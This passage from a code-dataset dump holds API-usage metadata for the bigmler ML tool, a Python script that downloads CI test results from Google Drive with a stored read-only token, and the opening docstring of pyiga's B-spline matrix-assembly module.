"name"}, {"api_name": "bigmler.utils.log_message", "line_number": 198, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 198, "usage_type": "name"}, {"api_name": "bigmler.utils.write_prediction", "line_number": 200, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 200, "usage_type": "name"}, {"api_name": "csv.reader", "line_number": 217, "usage_type": "call"}, {"api_name": "bigml.util.get_csv_delimiter", "line_number": 218, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 221, "usage_type": "call"}, {"api_name": "bigmler.utils.check_dir", "line_number": 257, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 257, "usage_type": "name"}, {"api_name": "bigmler.utils.file_number_of_lines", "line_number": 261, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 261, "usage_type": "name"}, {"api_name": "bigmler.utils.dated", "line_number": 277, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 277, "usage_type": "name"}, {"api_name": "bigmler.utils.log_message", "line_number": 278, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 278, "usage_type": "name"}, {"api_name": "bigmler.utils.check_dir", "line_number": 316, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 316, "usage_type": "name"}, {"api_name": "os.sep", "line_number": 317, "usage_type": "attribute"}, {"api_name": "bigmler.utils.check_dir", "line_number": 322, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 322, "usage_type": "name"}, {"api_name": "bigmler.utils.checkpoint", "line_number": 333, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 333, "usage_type": "name"}, {"api_name": "bigmler.utils.is_source_created", "line_number": 333, "usage_type": "attribute"}, {"api_name": "bigml.api.api", "line_number": 334, "usage_type": "attribute"}, {"api_name": "bigml.api", "line_number": 334, "usage_type": "name"}, {"api_name": "bigmler.utils.dated", "line_number": 336, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 336, "usage_type": "name"}, {"api_name": "bigmler.utils.log_message", "line_number": 337, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 337, "usage_type": "name"}, {"api_name": "bigmler.utils.dated", "line_number": 360, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 360, "usage_type": "name"}, {"api_name": "bigmler.utils.log_message", "line_number": 361, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 361, "usage_type": "name"}, {"api_name": "bigmler.utils.dated", "line_number": 365, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 365, "usage_type": "name"}, {"api_name": "bigmler.utils.get_url", "line_number": 365, "usage_type": "call"}, {"api_name": "bigmler.utils.log_message", "line_number": 366, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 366, "usage_type": "name"}, {"api_name": "bigmler.utils.log_message", "line_number": 367, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 367, "usage_type": "name"}, {"api_name": "bigml.fields.Fields", "line_number": 369, "usage_type": "call"}, {"api_name": "bigmler.utils.dated", "line_number": 380, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 380, "usage_type": "name"}, {"api_name": "bigmler.utils.get_url", "line_number": 381, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 381, "usage_type": "name"}, {"api_name": "bigmler.utils.log_message", "line_number": 382, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 382, "usage_type": "name"}, {"api_name": "bigml.api.api", "line_number": 388, "usage_type": "attribute"}, {"api_name": "bigml.api", "line_number": 388, "usage_type": "name"}, {"api_name": "bigmler.utils.dated", "line_number": 389, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 389, "usage_type": "name"}, {"api_name": "bigmler.utils.get_url", "line_number": 390, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 390, "usage_type": "name"}, {"api_name": "bigmler.utils.log_message", "line_number": 391, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 391, "usage_type": "name"}, {"api_name": "bigml.fields.Fields", "line_number": 399, "usage_type": "call"}, {"api_name": "bigmler.utils.dated", "line_number": 405, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 405, "usage_type": "name"}, {"api_name": "bigmler.utils.get_url", "line_number": 406, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 406, "usage_type": "name"}, {"api_name": "bigmler.utils.log_message", "line_number": 407, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 407, "usage_type": "name"}, {"api_name": "bigmler.utils.dated", "line_number": 416, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 416, "usage_type": "name"}, {"api_name": "bigmler.utils.get_url", "line_number": 417, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 417, "usage_type": "name"}, {"api_name": "bigmler.utils.log_message", "line_number": 418, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 418, "usage_type": "name"}, {"api_name": "bigmler.utils.checkpoint", "line_number": 424, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 424, "usage_type": "name"}, {"api_name": "bigmler.utils.is_dataset_created", "line_number": 424, "usage_type": "attribute"}, {"api_name": "bigml.api.api", "line_number": 425, "usage_type": "attribute"}, {"api_name": "bigml.api", "line_number": 425, "usage_type": "name"}, {"api_name": "bigmler.utils.dated", "line_number": 428, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 428, "usage_type": "name"}, {"api_name": "bigmler.utils.log_message", "line_number": 429, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 429, "usage_type": "name"}, {"api_name": "bigmler.utils.dated", "line_number": 454, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 454, "usage_type": "name"}, {"api_name": "bigmler.utils.log_message", "line_number": 455, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 455, "usage_type": "name"}, {"api_name": "bigmler.utils.dated", "line_number": 458, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 458, "usage_type": "name"}, {"api_name": "bigmler.utils.get_url", "line_number": 458, "usage_type": "call"}, {"api_name": "bigmler.utils.log_message", "line_number": 459, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 459, "usage_type": "name"}, {"api_name": "bigmler.utils.log_message", "line_number": 460, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 460, "usage_type": "name"}, {"api_name": "bigmler.utils.dated", "line_number": 468, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 468, "usage_type": "name"}, {"api_name": "bigmler.utils.get_url", "line_number": 469, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 469, "usage_type": "name"}, {"api_name": "bigmler.utils.log_message", "line_number": 470, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 470, "usage_type": "name"}, {"api_name": "bigml.api.api", "line_number": 476, "usage_type": "attribute"}, {"api_name": "bigml.api", "line_number": 476, "usage_type": "name"}, {"api_name": "bigmler.utils.dated", "line_number": 477, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 477, "usage_type": "name"}, {"api_name": "bigmler.utils.get_url", "line_number": 478, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 478, "usage_type": "name"}, {"api_name": "bigmler.utils.log_message", "line_number": 479, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 479, "usage_type": "name"}, {"api_name": "bigmler.utils.dated", "line_number": 490, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 490, "usage_type": "name"}, {"api_name": "bigmler.utils.get_url", "line_number": 491, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 491, "usage_type": "name"}, {"api_name": "bigmler.utils.log_message", "line_number": 492, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 492, "usage_type": "name"}, {"api_name": "bigmler.utils.dated", "line_number": 495, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 495, "usage_type": "name"}, {"api_name": "bigmler.utils.get_url", "line_number": 496, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 496, "usage_type": "name"}, {"api_name": "bigmler.utils.log_message", "line_number": 497, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 497, "usage_type": "name"}, {"api_name": "bigml.fields.Fields", "line_number": 500, "usage_type": "call"}, {"api_name": "bigmler.utils.checkpoint", "line_number": 537, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 537, "usage_type": "name"}, {"api_name": "bigmler.utils.are_models_created", "line_number": 537, "usage_type": "attribute"}, {"api_name": "bigml.api.api", "line_number": 539, "usage_type": "attribute"}, {"api_name": "bigml.api", "line_number": 539, "usage_type": "name"}, {"api_name": "bigmler.utils.dated", "line_number": 541, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 541, "usage_type": "name"}, {"api_name": "bigmler.utils.log_message", "line_number": 544, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 544, "usage_type": "name"}, {"api_name": "bigmler.utils.dated", "line_number": 554, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 554, "usage_type": "name"}, {"api_name": "bigmler.utils.plural", "line_number": 555, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 555, "usage_type": "name"}, {"api_name": "bigmler.utils.log_message", "line_number": 556, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 556, "usage_type": "name"}, {"api_name": "bigmler.utils.log_message", "line_number": 562, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 562, "usage_type": "name"}, {"api_name": "bigml.api.api", "line_number": 569, "usage_type": "attribute"}, {"api_name": "bigml.api", "line_number": 569, "usage_type": "name"}, {"api_name": "bigmler.utils.dated", "line_number": 572, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 572, "usage_type": "name"}, {"api_name": "bigmler.utils.get_url", "line_number": 573, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 573, "usage_type": "name"}, {"api_name": "bigmler.utils.log_message", "line_number": 574, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 574, "usage_type": "name"}, {"api_name": "bigmler.utils.dated", "line_number": 580, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 580, "usage_type": "name"}, {"api_name": "bigmler.utils.get_url", "line_number": 581, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 581, "usage_type": "name"}, {"api_name": "bigmler.utils.log_message", "line_number": 582, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 582, "usage_type": "name"}, {"api_name": "bigmler.utils.dated", "line_number": 592, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 592, "usage_type": "name"}, {"api_name": "bigmler.utils.plural", "line_number": 593, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 593, "usage_type": "name"}, {"api_name": "bigmler.utils.get_url", "line_number": 594, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 594, "usage_type": "name"}, {"api_name": "bigmler.utils.log_message", "line_number": 595, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 595, "usage_type": "name"}, {"api_name": "bigml.api.api", "line_number": 610, "usage_type": "attribute"}, {"api_name": "bigml.api", "line_number": 610, "usage_type": "name"}, {"api_name": "bigmler.utils.dated", "line_number": 611, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 611, "usage_type": "name"}, {"api_name": "bigmler.utils.get_url", "line_number": 612, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 612, "usage_type": "name"}, {"api_name": "bigmler.utils.log_message", "line_number": 613, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 613, "usage_type": "name"}, {"api_name": "bigmler.utils.dated", "line_number": 625, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 625, "usage_type": "name"}, {"api_name": "bigmler.utils.get_url", "line_number": 626, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 626, "usage_type": "name"}, {"api_name": "bigmler.utils.log_message", "line_number": 627, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 627, "usage_type": "name"}, {"api_name": "bigmler.utils.dated", "line_number": 631, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 631, "usage_type": "name"}, {"api_name": "bigmler.utils.get_url", "line_number": 632, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 632, "usage_type": "name"}, {"api_name": "bigmler.utils.log_message", "line_number": 633, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 633, "usage_type": "name"}, {"api_name": "bigml.fields.Fields", "line_number": 644, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 661, "usage_type": "call"}, {"api_name": "bigml.model.Model", "line_number": 664, "usage_type": "call"}, {"api_name": "bigmler.utils.dated", "line_number": 665, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 665, "usage_type": "name"}, {"api_name": "bigmler.utils.log_message", "line_number": 666, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 666, "usage_type": "name"}, {"api_name": "bigmler.utils.combine_votes", "line_number": 668, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 668, "usage_type": "name"}, {"api_name": "bigmler.utils.checkpoint", "line_number": 675, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 675, "usage_type": "name"}, {"api_name": "bigmler.utils.is_evaluation_created", "line_number": 675, "usage_type": "attribute"}, {"api_name": "bigml.api.api", "line_number": 676, "usage_type": "attribute"}, {"api_name": "bigml.api", "line_number": 676, "usage_type": "name"}, {"api_name": "bigmler.utils.dated", "line_number": 679, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 679, "usage_type": "name"}, {"api_name": "bigmler.utils.log_message", "line_number": 680, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 680, "usage_type": "name"}, {"api_name": "bigmler.utils.dated", "line_number": 700, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 700, "usage_type": "name"}, {"api_name": "bigmler.utils.log_message", "line_number": 701, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 701, "usage_type": "name"}, {"api_name": "bigmler.utils.log_message", "line_number": 704, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 704, "usage_type": "name"}, {"api_name": "bigmler.utils.dated", "line_number": 708, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 708, "usage_type": "name"}, {"api_name": "bigmler.utils.get_url", "line_number": 709, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 709, "usage_type": "name"}, {"api_name": "bigmler.utils.log_message", "line_number": 710, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 710, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 713, "usage_type": "call"}, {"api_name": "sys.platform", "line_number": 723, "usage_type": "attribute"}, {"api_name": "sys.stdout.isatty", "line_number": 723, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 723, "usage_type": "attribute"}, {"api_name": "locale.getlocale", "line_number": 725, "usage_type": "call"}, {"api_name": "locale.setlocale", "line_number": 727, "usage_type": "call"}, {"api_name": "locale.LC_ALL", "line_number": 727, "usage_type": "attribute"}, {"api_name": "bigmler.utils.print_tree", "line_number": 729, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 729, "usage_type": "name"}, {"api_name": "bigmler.utils.print_tree", "line_number": 731, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 731, "usage_type": "name"}, {"api_name": "bigmler.utils.log_message", "line_number": 732, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 732, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 735, "usage_type": "attribute"}, {"api_name": "bigmler.options.create_parser", "line_number": 761, "usage_type": "call"}, {"api_name": "bigmler.defaults.get_user_defaults", "line_number": 761, "usage_type": "call"}, {"api_name": "bigml.multivote.PLURALITY", "line_number": 762, "usage_type": "name"}, {"api_name": "bigmler.utils.get_log_reversed", "line_number": 771, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 771, "usage_type": "name"}, {"api_name": "shlex.split", "line_number": 773, "usage_type": "call"}, {"api_name": "bigmler.utils.get_log_reversed", "line_number": 774, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 774, "usage_type": "name"}, {"api_name": "os.sep", "line_number": 776, "usage_type": "attribute"}, {"api_name": "bigmler.defaults.DEFAULTS_FILE", "line_number": 776, "usage_type": "name"}, {"api_name": "bigmler.options.create_parser", "line_number": 777, "usage_type": "call"}, {"api_name": "bigmler.defaults.get_user_defaults", "line_number": 777, "usage_type": "call"}, {"api_name": "bigml.multivote.PLURALITY", "line_number": 779, "usage_type": "name"}, {"api_name": "os.sep", "line_number": 783, "usage_type": "attribute"}, {"api_name": "os.sep", "line_number": 786, "usage_type": "attribute"}, {"api_name": "bigmler.utils.log_message", "line_number": 787, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 787, "usage_type": "name"}, {"api_name": "bigmler.utils.log_message", "line_number": 789, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 789, "usage_type": "name"}, {"api_name": "bigmler.utils.log_message", "line_number": 794, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 794, "usage_type": "name"}, {"api_name": "os.sep", "line_number": 803, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 805, "usage_type": "call"}, {"api_name": "os.path", "line_number": 805, "usage_type": "attribute"}, {"api_name": "os.sep", "line_number": 807, "usage_type": "attribute"}, {"api_name": "bigmler.utils.check_dir", "line_number": 809, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 809, "usage_type": "name"}, {"api_name": "os.sep", "line_number": 810, "usage_type": "attribute"}, {"api_name": "bigmler.utils.log_message", "line_number": 811, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 811, "usage_type": "name"}, {"api_name": "bigmler.defaults.DEFAULTS_FILE", "line_number": 813, "usage_type": "argument"}, {"api_name": "os.sep", "line_number": 816, "usage_type": "attribute"}, {"api_name": "bigmler.defaults.DEFAULTS_FILE", "line_number": 816, "usage_type": "name"}, {"api_name": "os.path.abspath", "line_number": 823, "usage_type": "call"}, {"api_name": "os.path", "line_number": 823, "usage_type": "attribute"}, {"api_name": "bigml.api.api.BigML", "line_number": 834, "usage_type": "call"}, {"api_name": "bigml.api.api", "line_number": 834, "usage_type": "attribute"}, {"api_name": "bigml.api", "line_number": 834, "usage_type": "name"}, {"api_name": "bigmler.utils.read_description", "line_number": 869, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 869, "usage_type": "name"}, {"api_name": "bigmler.utils.read_field_attributes", "line_number": 877, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 877, "usage_type": "name"}, {"api_name": "bigmler.utils.read_types", "line_number": 882, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 882, "usage_type": "name"}, {"api_name": "bigmler.utils.read_models", "line_number": 900, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 900, "usage_type": "name"}, {"api_name": "bigmler.utils.read_dataset", "line_number": 906, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 906, "usage_type": "name"}, {"api_name": "bigmler.utils.list_ids", "line_number": 912, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 912, "usage_type": "name"}, {"api_name": "bigmler.utils.read_json_filter", "line_number": 918, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 918, "usage_type": "name"}, {"api_name": "bigmler.utils.read_lisp_filter", "line_number": 923, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 923, "usage_type": "name"}, {"api_name": "bigml.multivote.COMBINATION_WEIGHTS.keys", "line_number": 933, "usage_type": "call"}, {"api_name": "bigml.multivote.COMBINATION_WEIGHTS", "line_number": 933, "usage_type": "name"}, {"api_name": "bigml.multivote.COMBINER_MAP.items", "line_number": 937, "usage_type": "call"}, {"api_name": "bigml.multivote.COMBINER_MAP", "line_number": 937, "usage_type": "name"}, {"api_name": "os.path.dirname", "line_number": 943, "usage_type": "call"}, {"api_name": "os.path", "line_number": 943, "usage_type": "attribute"}, {"api_name": "bigmler.utils.read_votes_files", "line_number": 944, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 944, "usage_type": "name"}, {"api_name": "bigmler.utils.read_fields_map", "line_number": 949, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 949, "usage_type": "name"}, {"api_name": "bigmler.utils.check_dir", "line_number": 957, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 957, "usage_type": "name"}, {"api_name": "os.sep", "line_number": 958, "usage_type": "attribute"}, {"api_name": "bigmler.utils.dated", "line_number": 959, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 959, "usage_type": "name"}, {"api_name": "bigmler.utils.log_message", "line_number": 960, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 960, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 967, "usage_type": "call"}, {"api_name": "os.path", "line_number": 967, "usage_type": "attribute"}, {"api_name": "bigmler.utils.list_ids", "line_number": 973, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 973, "usage_type": "name"}, {"api_name": "bigmler.utils.list_ids", "line_number": 974, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 974, "usage_type": "name"}, {"api_name": "bigmler.utils.list_ids", "line_number": 975, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 975, "usage_type": "name"}, {"api_name": "bigmler.utils.list_ids", "line_number": 976, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 976, "usage_type": "name"}, {"api_name": "bigmler.utils.list_ids", "line_number": 977, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 977, "usage_type": "name"}, {"api_name": "bigmler.utils.list_ids", "line_number": 981, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 981, "usage_type": "name"}, {"api_name": "bigmler.utils.list_ids", "line_number": 985, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 985, "usage_type": "name"}, {"api_name": "bigmler.utils.list_ids", "line_number": 989, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 989, "usage_type": "name"}, {"api_name": "bigmler.utils.list_ids", "line_number": 993, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 993, "usage_type": "name"}, {"api_name": "bigmler.utils.list_ids", "line_number": 997, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 997, "usage_type": "name"}, {"api_name": "bigmler.utils.dated", "line_number": 998, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 998, "usage_type": "name"}, {"api_name": "bigmler.utils.log_message", "line_number": 999, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 999, "usage_type": "name"}, {"api_name": "bigmler.utils.log_message", "line_number": 1002, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 1002, "usage_type": "name"}, {"api_name": "bigmler.utils.delete", "line_number": 1003, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 1003, "usage_type": "name"}, {"api_name": "sys.platform", "line_number": 1004, "usage_type": "attribute"}, {"api_name": "sys.stdout.isatty", "line_number": 1004, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 1004, "usage_type": "attribute"}, {"api_name": "bigmler.utils.print_tree", "line_number": 1006, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 1006, "usage_type": "name"}, {"api_name": "bigmler.utils.print_tree", "line_number": 1008, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 1008, "usage_type": "name"}, {"api_name": "bigmler.utils.log_message", "line_number": 1009, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 1009, "usage_type": "name"}, {"api_name": "bigmler.utils.log_message", "line_number": 1015, "usage_type": "call"}, {"api_name": "bigmler.utils", "line_number": 1015, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 1018, "usage_type": "attribute"}]} {"seq_id": "524959562", "text": "from __future__ import print_function\n\nimport io\nimport pickle\nimport os.path\nimport sys\n\nfrom googleapiclient.discovery import build\n\n# If modifying these scopes, delete the file token.pickle.\nfrom googleapiclient.http import MediaFileUpload, MediaIoBaseDownload\n\nSCOPES = ['https://www.googleapis.com/auth/drive.readonly']\n\nTOKEN = 'travis_files/token.pickle'\nDOWNLOAD_LINK = \"travis_files/download_link.txt\"\n\n\nclass GoogleDriveService:\n\n def __init__(self):\n self.creds = self._auth()\n self.google_drive_service = build('drive', 'v3', credentials=self.creds)\n\n def _auth(self):\n \"\"\"\n Authenticate google drive credentails.\n \"\"\"\n creds = None\n # The file token.pickle stores the user's access and refresh tokens, and is\n # created automatically when the authorization flow completes for the first\n # time.\n if os.path.exists(TOKEN):\n with open(TOKEN, 'rb') as token:\n creds = pickle.load(token)\n else:\n sys.exit(\"can't find token.pickle\")\n # If there are no (valid) credentials available, let the user log in.\n return creds\n\n def print_n_files(self, n):\n # Call the Drive v3 API\n results = self.google_drive_service.files().list(\n pageSize=n, fields=\"nextPageToken, files(id, name)\").execute()\n items = results.get('files', [])\n\n if not items:\n print('No files found.')\n else:\n print('Files:')\n for item in items:\n print(u'{0} ({1})'.format(item['name'], item['id']))\n\n def download_result(self, commit_id):\n \"\"\"\n Download the html file from google drive using the commit id\n :param commit_id: The connit id to download.\n :return: the html file and the results as a bool type.\n \"\"\"\n file_id, file_name = self.find_file_id(commit_id)\n if not file_id:\n return False, False\n\n file = self.google_drive_service.files().get(fileId=file_id, fields='webContentLink').execute()\n print('Download test result at: %s' % file['webContentLink'])\n\n # create a text file with the download link (later to post as a comment)\n with open(DOWNLOAD_LINK, \"w\") as f:\n f.write(file['webContentLink'])\n\n file_request = self.google_drive_service.files().get_media(fileId=file_id)\n\n if file_request:\n # there are results\n fh = io.BytesIO()\n downloader = MediaIoBaseDownload(fh, file_request)\n done = False\n\n while done is False:\n status, done = downloader.next_chunk()\n print(\"Download %d%%.\" % int(status.progress() * 100))\n\n # os.mkdir('Travis_Results/%s' % pull_request_number) # create a folder for the specific test result\n\n with io.open('%s' % file_name, 'wb') as f:\n fh.seek(0)\n f.write(fh.read())\n\n passed = file_name[\n file_name.index('-') + 1: file_name.index('.')] == \"True\" # extract the boolean from file name\n return True, passed\n\n else:\n # there are no results yet\n print(\"Didn't find the file id!\")\n return False, False\n\n def find_file_id(self, commit_id):\n \"\"\"\n Looking for the commit id in google drive\n :param commit_id: the commit id to look for.\n :return: The id and the file name as in google drive.\n \"\"\"\n results = self.google_drive_service.files().list(\n fields=\"nextPageToken, files(id, name)\").execute()\n files = results.get('files', [])\n # looking for the file with that name(what comes before the delimiter)\n filtered = list(filter(lambda item: item['name'].split('-')[0] == commit_id, files))\n if filtered:\n return filtered[0]['id'], filtered[0]['name']\n else:\n return False, False\n", "sub_path": "travis_files/google_drive_integration.py", "file_name": "google_drive_integration.py", "file_ext": "py", "file_size_in_byte": 3968, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "googleapiclient.discovery.build", "line_number": 23, "usage_type": "call"}, {"api_name": "os.path.path.exists", "line_number": 33, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 33, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 33, "usage_type": "name"}, {"api_name": "pickle.load", "line_number": 35, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 37, "usage_type": "call"}, {"api_name": "io.BytesIO", "line_number": 75, "usage_type": "call"}, {"api_name": "googleapiclient.http.MediaIoBaseDownload", "line_number": 76, "usage_type": "call"}, {"api_name": "io.open", "line_number": 85, "usage_type": "call"}]} {"seq_id": "492851173", "text": "\"\"\"Matrix assembling functions for B-spline IgA.\n\nThis module contains functions to assemble mass and stiffness matrices\nfor IgA with tensor product B-spline functions.\n\n\n.. _gauss-asms:\n\nTensor product Gauss quadrature assemblers\n------------------------------------------\n\nStandard Gauss quadrature assemblers for mass and stiffness matrices.\nThey take one or two arguments:\n\n- `kvs` (list of :class:`pyiga.bspline.KnotVector`):\n Describes the tensor product B-spline basis for which to assemble\n the matrix. One :class:`KnotVector` per coordinate direction.\n In the 1D case, a single :class:`pyiga.bspline.KnotVector` may be passed\n directly.\n- `geo` (:class:`pyiga.geometry.BSplinePatch`; optional):\n Geometry transform, mapping from the parameter domain to the\n physical domain. If omitted, assume the identity map; a fast\n Kronecker product implementation is used in this case.\n\n.. autofunction:: mass\n.. autofunction:: stiffness\n\n\n.. _fast-asms:\n\nFast low-rank assemblers\n------------------------\n\nFast low-rank assemblers based on the paper\n\"A Black-Box Algorithm for Fast Matrix Assembly in Isogeometric Analysis\".\nThey may achieve significant speedups over the classical Gauss assemblers,\nin particular for fine discretizations and higher spline degrees.\nThey only work well if the geometry transform is rather smooth so that the\nresulting matrix has relatively low (numerical) Kronecker rank.\n\nThey take the following additional arguments:\n\n- `tol`: the stopping accuracy for the Adaptive Cross Approximation (ACA)\n algorithm\n- `maxiter`: the maximum number of ACA iterations\n- `skipcount`: terminate after finding this many successive near-zero pivots\n- `tolcount`: terminate after finding this many successive pivots below the\n desired accuracy\n- `verbose`: the amount of output to display. `0` is silent, `1` prints\n basic information, `2` prints detailed information\n\n.. autofunction:: mass_fast\n.. autofunction:: stiffness_fast\n\nRight-hand sides\n----------------\n\n.. autofunction:: inner_products\n\nBoundary and initial conditions\n-------------------------------\n\n.. autofunction:: compute_dirichlet_bc\n.. autofunction:: compute_initial_condition_01\n.. autofunction:: combine_bcs\n\n.. autoclass:: RestrictedLinearSystem\n :members:\n\n\"\"\"\nimport numpy as np\nimport scipy\nimport scipy.sparse\nimport itertools\n\nfrom . import bspline\nfrom . import assemble_tools\nfrom . import assemblers\nfrom . import fast_assemble_cy\nfrom . import tensor\nfrom . import operators\nfrom . import utils\nfrom . import geometry\n\nfrom .quadrature import make_iterated_quadrature, 